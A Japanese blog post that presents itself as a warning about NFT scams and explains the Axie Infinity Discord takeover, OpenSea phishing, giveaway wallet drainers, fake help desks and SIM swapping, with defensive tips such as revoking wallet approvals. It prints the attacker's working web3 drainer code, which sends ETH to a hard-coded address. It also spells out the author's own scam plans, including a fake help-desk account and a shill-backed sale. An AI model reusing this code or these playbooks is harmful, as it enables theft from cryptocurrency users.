【悪用厳禁】NFTプロジェクトを「ハッキング」する方法【注意喚起】
こんにちは、マナブです。
まずは、下記のツイートをご覧ください。
ちなみに、最も簡単な「NFT詐欺」は「配布キャンペーン」だと思います。
— Manabu (@manabubannai) March 5, 2022
Twitter上で「無料のNFT配布キャンペーン」を実施しつつ、当選者を「スパムサイト」に誘導します。そのサイトからNFTを獲得すると、同時に「自分のウォレット残高」も抜かれる仕組みです。システム構築は簡単なので、要注意です
注意喚起として、記事で解説していきます。
記事のもくじ
- 1.Axieのハッキング事例から、詐欺方法を学ぶ
- 2.ソーシャルエンジニアリングとは【定番手法】
- 3.詐欺方法を「マーケティング」に活かす思考
知識があれば、詐欺を見抜くことができます。
10分で読めます。これを機に、学んでみてください。
1.Axieのハッキング事例から、詐欺方法を学ぶ
まずは「Axie Infinity」の「詐欺事例」から学びます。
この方法は「再現性」が高いです
言うまでもなく、悪用厳禁です。情報ソースは「Axie Infinity to reimburse users who lost funds due to the hack」です。話をわかりやすくする為に、3名の登場人物を使います。
- 犯人
- 管理人A(※Axie InfinityのDiscordを管理する人)
- 管理人B(※Axie InfinityのDiscordを管理する人)
上記のとおり。そして、犯行の手順は下記となります。
Axie Infinityの犯人の行動とは
- 手順①:犯人が「Axie Infinity」の「Discord」に参加する
- 手順②:犯人が「管理人Bは詐欺師である」と嘘の通報をする
- 手順③:管理人Aが「管理人B」の「発言権利」を取り消す
この時点で、管理人Bは「濡れ衣」を着せられます。何もしていないのに、突然に「アクセス権利」を消されます。そして犯人が運営を装い、管理人Bに連絡をします。
犯人が「運営」に成りすまして、管理人Bに連絡する
- 犯人(※運営に成りすまし)「アカウントを復活させるために、質問に答えてください」
- 管理人B「わかりました。なんでも答えます。私は何もしていません。潔白です」
- 犯人(※運営に成りすまし)「パスポートとDiscordの認証トークンを見せてください」
- 管理人B「わかりました。こちらがデータとなります。ロック解除をお願いします」
このような方法で、管理人Bから情報を盗みます。なお、Discordには「認証トークン」という機能がありまして、その「トークン」を盗むことで、アカウントを乗っ取ることができます。
つまり、管理人Bは「認証トークン」を犯人に渡した時点で、アカウントを乗っ取られています。もうログインできません。その後に、犯人は「管理人B」に成りすましつつ、管理人Aに連絡します。
犯人が「管理人B」に成りすまして、管理人Aに連絡する
- 犯人(※管理人Bに成りすまし)「私は潔白なので、IDの復活をお願いします」
- 管理人A「パスポートとDiscordの認証トークンを見せてください」
- 犯人(※管理人Bに成りすまし)「こちらがデータです。よろしくお願いします」
- 管理人A「データに問題ないですね。アカウントを復活しますね」
上記のとおり。この時点で犯人は「管理人Bのアカウントの乗っ取り」に成功しました。この先は、とても簡単なフェーズです。
運営者として、偽のアナウンスをする
その後に犯人は、Discord内で下記アナウンスをします。
- 「特別セールを開始します。下記よりNFTを購入できます」
そのリンクをクリックすると、犯人が作ったサイトに繋がります。そして「NFTの購入ボタン」を押すと、自分のお金が盗まれる訳です。なお、犯人が使ったコードは下記です。
function sendEth() { let givenNumber = document.querySelector ("#mintnumber").value; web3.eth.sendTransaction({ from: web3.currentProvider.selectedAddress, to: '0x809771aB194355a5Cfa67ae1902c6359Db25FCaC', value: (web3.utils. towei (givenNumber,'ether')*0.1), }); }
こちら「Ethereumのプログラミング」を少しでも学んだ方なら、わりと誰でも書けるはず。言うまでもなく、コピペでも動きます。そして、下記をご覧ください。
- from: web3.currentProvider.selectedAddress,
- to: '0x809771aB194355a5Cfa67ae1902c6359Db25FCaC',
- value: (web3.utils. towei (givenNumber,'ether')*0.1),
上記では「購入者のウォレットから、犯人のアドレスに対して、0.1ETHを送る」と記載されています。犯人に騙された人は、ここで自分のETHを失いました。
なお、今回は「0.1 ETHを送る」という方法でしたが、もっと危険な手法もあります。次の項目で解説します。
OpenSeaからNFTを盗む方法
先日に「OpenSeaでのフィッシング詐欺」が発生しました。ここで犯人は「数億円」のNFTを盗んだのですが、方法は下記のとおり。
🏴☠️ OPENSEA NFT HACK EXPLAINED THREAD 🏴☠️
— isotile 🦇🔊 (@isotile) February 20, 2022
28 days ago the hacker uploads a new smart contract, he already knows well that his goal is to get as many signatures as possible
🧵 1/4 pic.twitter.com/WMD9JrrvII
簡単に解説すると、まず犯人は「偽のメール」を「OpenSeaの利用者」に送ります。そのメールには「アカウントをアップデートしてください」と記載されており、被害を受けた人は、そこでボタンを押してしまいました。
すると、どうなるか?
次の画像の「スマートコントラクト」が実行されます。
Today he executes the smart contract function to steal the NFTs before their listings expire
— isotile 🦇🔊 (@isotile) February 20, 2022
He can do that because he has your signatures stored on his server
🧵 3/4 pic.twitter.com/tJOMspXySr
上記のコードには「stealNFTs」という機能が搭載されており、こちらが実行されると、自分のウォレットの「サイン(=鍵のデータ) 」が、犯人の「サーバー」に保存されます。すると犯人は、いつでも「あなたの財布」から「コインやNFT」を取り出せます。
注意喚起:ハッキングに時差がある話
OpenSeaのケースでは、下記の時間軸でした。
- 犯人がスパムメールを送る
- 約1ヶ月ほど時間を空ける
- NFTの盗難事件が発生する
犯人がすぐに行動しなかった理由は、被害者のリストを増やす為です。OpenSeaをハッキングしたら、間違いなくニュースになります。ニュースになると、警戒する人が増えます。なので行動する際には、一気に行動して、一気に騙すほうがコスパ良いです。
ここから分かることは「犯人は、あなたの鍵を保存している可能性がある」ということです。なので、過去に一度でも「怪しいサイト」にウォレットを繋いだことがあるなら、かなり警戒すべきです。じゃあ、どうしたらいいか? 次で解説します。
リボークの重要性(※拡散希望)
皆さんは、メタマスクの「リボーク」を知っていますか?メタマスクで接続する際には、必ず「ウォレットの認証」がありますよね。その認証を取り消すことを、リボークと呼びます。
これには専用ツールがありまして、例えば「Revoke.cash」というサイトがあります。他にもあるので何でもOKですが、こういったツールに繋いでみて、怪しい認証がないかを確認してみてください。
実際にツールを使ってみる
ツールを使うと、上記の表示が出てきます。注目すべきは、下記の部分です。
- Unlimited allowance to ○○
僕の場合は「0xA79...(=Curve.fi)」と「Uniswap」と「Polygon Bridge」に「Unlimited allowance (=無制限の費用)」を許可しています。
これらの3つは、僕は信頼しています。なので許可しています。このツールに繋いでみて、怪しげな名称があるなら、それは取り消すべきです。
ぜひ参考にしてみてください。もし良かったら「SNS拡散」や、もしくは友人に教えてあげてください。ここにトラップがあると、将来的にハッキングされる可能性があります。
ハッキング対策も解説します
リボークも大切ですが、そもそも「怪しいサイトに接続しないこと」が重要です。その上で、下記のツイートをご覧ください。
というわけで、最後に「ハッキング対策」を書きます。
— Manabu (@manabubannai) February 2, 2022
・怪しいNFTを購入しない
・Metamaskの認証を読む
繰り返しですが、メタマスクの認証画面が出てきたら、内容を確認しましょう。画像の赤枠を確認します。ここに怪しい名称があるなら、触らないほうが良いです。次のツイートでラストです pic.twitter.com/RKyYlah7e4
詳しくは「すべてのツイート」を読んで欲しいですが、要約すると「メタマスクの認証画面を、必ず確認しましょう」という内容です。特に下記の部分です。
メタマスクで接続をするときに、こういった表示が出てきますよね。その際に、必ず「赤枠の部分」を確認してください。ここに怪しい文字が出ていたら、すぐに逃げるべきです。
というわけで、以上が「チャプター①」です。
後半では「その他のハッキング事例」を学んでいきます。
2.ソーシャルエンジニアリングとは【定番手法】
前半では「Axie Infinity」の「詐欺事例」を解説しました。こういった詐欺の方法を「ソーシャル・エンジニアリング」と呼びます。要するに、人間を騙しつつ、上手くハッキングをする手法です。
コードのバグ探しは大変ですが、人間のミスを誘導するのは簡単です。
今後のNFT市場では、色々な詐欺案件が出てくるはず。というわけで、知識は武器になるので、事前に学んでおきましょう。
手法①:NFTの配布キャンペーン
冒頭のツイートを、再度掲載させてください。
ちなみに、最も簡単な「NFT詐欺」は「配布キャンペーン」だと思います。
— Manabu (@manabubannai) March 5, 2022
Twitter上で「無料のNFT配布キャンペーン」を実施しつつ、当選者を「スパムサイト」に誘導します。そのサイトからNFTを獲得すると、同時に「自分のウォレット残高」も抜かれる仕組みです。システム構築は簡単なので、要注意です
上記のとおり。今となっては、簡単だと分かりますよね。
Twitterで「NFT配布キャンペーン」をしつつ、詐欺サイトに誘導して、そこから「ウォレットの鍵」を盗めばOKです。
最近はNFTがバズっているので、知名度のないアカウントでもRTを増やせます。つまり悪い人からしたら、絶好のチャンスなんですよね。
過去には「CD-ROM」が配られていた
フィッシング詐欺の事例は、昔からあります。過去には「CD-ROMがトイレに置かれている」という事件があったみたいです。CD-ROMのラベルには「2012年:授業員の給料データ」というシールが貼られています。
こういったCDを見つけたら、皆さんはどうしますか? 興味が湧いて、パソコンに挿してしまうかもですよね。そうなったら、ウイルスに感染します。こういった方法が「定番のフィッシング詐欺」です。
補足:ハードウェアウォレットも要注意
注意喚起!仮想通貨とNFTが盗まれます。
— kanerin.eth(🍠,🥛) (@kanerinx) November 19, 2021
ヤフオクでも、この1ヶ月で大量のハードウェアウォレット(Ledger nano)が落札されています😢
落札した人はすぐに使用を中止し、資産を別ウォレットに退避させたほうが良いです。
新品でも公式以外から買っちゃダメ!
被害者が出ています。
どうかご無事で… pic.twitter.com/vic0fCE9eK
上記のツイートのとおり。ハードウェアウォレットを買う場合も、必ず「公式ストア」から購入しましょう。そうじゃないと、かなり危険です。
手法②:ヘルプデスクを変更する
2つの手法です。お問い合わせ先を偽ることで、簡単に詐欺を実行できます。
例えばですが、どこかの会社に侵入します。その後に「社内報」の掲示板を探し、そこに「ヘルプデスク変更の件」という張り紙を出します。
- 過去のヘルプデスク:help-desk@gmail.com
- 新しいヘルプデスク:help-desk-new@gmail.com
例えばですが、上記の感じです。言うまでもなくですが、新しいヘルプデスクは「犯人」が管理しています。そこにお問い合わせが入ったら、社員を騙せますよね。こういった方法は、オンラインでも応用できます。
再現性が高そうな方法(悪用厳禁)
ただの思いつきですが、ちょっと書いてみます。
僕が悪者なら、人々の混乱を利用します。例えば「OpenSea」がハッキングされたときに、新規で「OpenSea - Help Desk」といった「Twitterアカウント」を作ります。もしくは、フォロワー数の多いアカウントを購入してもOKです。
その後に「OpenSeaがハッキングされたので、緊急のヘルプデスクを設置しました。お問い合わせはコチラからお願いします」といったツイートをします。
これにて完了です。
お問い合わせしてきた人の情報を抜けますよね。
さらに言うと、ここでお問い合わせしてくる人は、焦っている可能性が高いです。なぜなら、OpenSeaがハッキングされたからです。混乱に乗っかることで、詐欺の成功率が高まりそうですね。
こういった感じで、人間をハッキングすることが出来ます。次が最後です。3つ目の「ソーシャル・エンジニアリング手法」を見ていきましょう。
手法③:SIMスワップ詐欺(危険)
ぶっちゃけ、これが最も危険です。ぜひ理解してください。
SIMスワップ詐欺とは
要するに「ソーシャルエンジニアリング × SIMハック」という感じです。
特定の人に成りすましつつ、携帯会社に連絡します。そして「スマホを無くしてしまった」と話し、その後に「新しいSIMのアクティベート」を依頼します。詳しい方法は「ケース・バイ・ケース」なので記載しません。
しかし伝えたいことは、ここで携帯会社が騙されてしまうと、簡単に「あなたのSIMカード」が盗まれる可能性があります。
SIMカードを盗まれたら、簡単に「パスワードリセット」や「二段階認証の突破」が出来ますよね。もしくはSNSアカウントが乗っ取られて、友人にも被害が及ぶ可能性があります。
ここは直接的に「NFT」や「クリプト」とは関係しませんが、とはいえ「取引所アカウントのハッキング」をされたら、たぶん萎える人が多いはず。
対策方法は「電話認証+二段階認証+メール認証」を設定することです。僕は「Binance」という取引所を使っていますが、3つの方法で認証しています。特に重要なアカウントは、3つ以上の方法で認証しましょう。
3.詐欺方法を「マーケティング」に活かす思考
最後に「オマケ」のパートです。マーケティング理論です。
詐欺手法から、マーケ手法を学ぶ
ソーシャルエンジニアリングのWikipediaには、下記が書かれています。
Six key principles(6つの重要な原則)
- Authority(権威性)
- Intimidation(脅迫する)
- Social proof(社会的証明)
- Scarcity(限定性)
- Urgency(緊急性)
- Familiarity(親近感)
上記のとおり。これって、そのまま「マーケティング手法」にも使えるんですよね。なので解説してみます。最強の詐欺師は、最強のマーケターかもしれません。
原則どおりに、詐欺マーケを考えてみる
記事の前半で「Axie Infinity」の「詐欺事例」を解説しました。 この事例を応用しつつ、マーケティング設計を考えてみます。
- Authority(権威性) → 公式からの発表
- Intimidation(脅迫する) → 1回だけのイベント
- Social proof(社会的証明) → NFT販売数の表示
- Scarcity(限定性) → 数量を限定にする
- Urgency(緊急性) → 10時間の限定販売
- Familiarity(親近感)→ 他の人も買っている
上記の設定です。下記にて、詳しく解説します。
まず犯人は「公式のDiscordアカウント」を乗っ取ります。そして「公式からの発表」として、10時間限定キャンペーンを公開します。キャンペーン内容は「限定NFTを購入することができて、数量は”100個”のみ」という内容です。
さらに販売ページには、販売済みの「NFTの数」が表示されており、残りの数はどんどん減っていきます。さらに公式のDiscordには、大量のサクラを呼び込んでおきます。そのサクラ達は「自分は限定NFTを獲得できた」と書き込んでおり、これが「安心感」に繋がります。
以上のストーリーには、6つの重要な原則を盛り込みました。どうでしょうか。こういった方法だと、普通に再現性がありそうです。
最後にお願い:被害者を減らす為に
今回は「色々なハッキング事例」のフォーカスして記事を書きました。怖い内容だったかもですが、大切な知識です。僕がこういった記事を書く理由は、業界を良くする為です。
- 残念なことに、世の中には悪い人がいます
- NFTマーケットの中にも、悪い人がいます
- そういった人が日々、詐欺を実行しています
では、どうやったら解決できるのか?
結論は「知識武装するしかない」と思います。
この記事を読んで、一部の人は「こんなことを書いたら、、真似する人が出てきて、被害は増えるのでは、、?」と考えたかもです。 しかし現実は逆のはず。
こういった方法を公開することで、被害を事前に防げます。また、ググれば出てくる情報でもあるので、本気で詐欺をしたい人はググっているはず。
今回の記事は「新しいテクノロジーに興味あるけど、しかしセキュリティ面も知っておきたい」という方向けに書きました。特に「メタマスクのリボーク」などは、わりと業界に詳しい人でも、あまり理解していなかったりします。
もしよかったら、記事拡散いただけたら嬉しいです。もしくは、友人に教えてあげてください。知識を増やすことで、間違いなく防御力を高めることができます。
以上となります。
読んでいただきまして、ありがとうございます。
※PS:普段の思考やビジネス戦略は「積み上げメルマガ」から発信しています。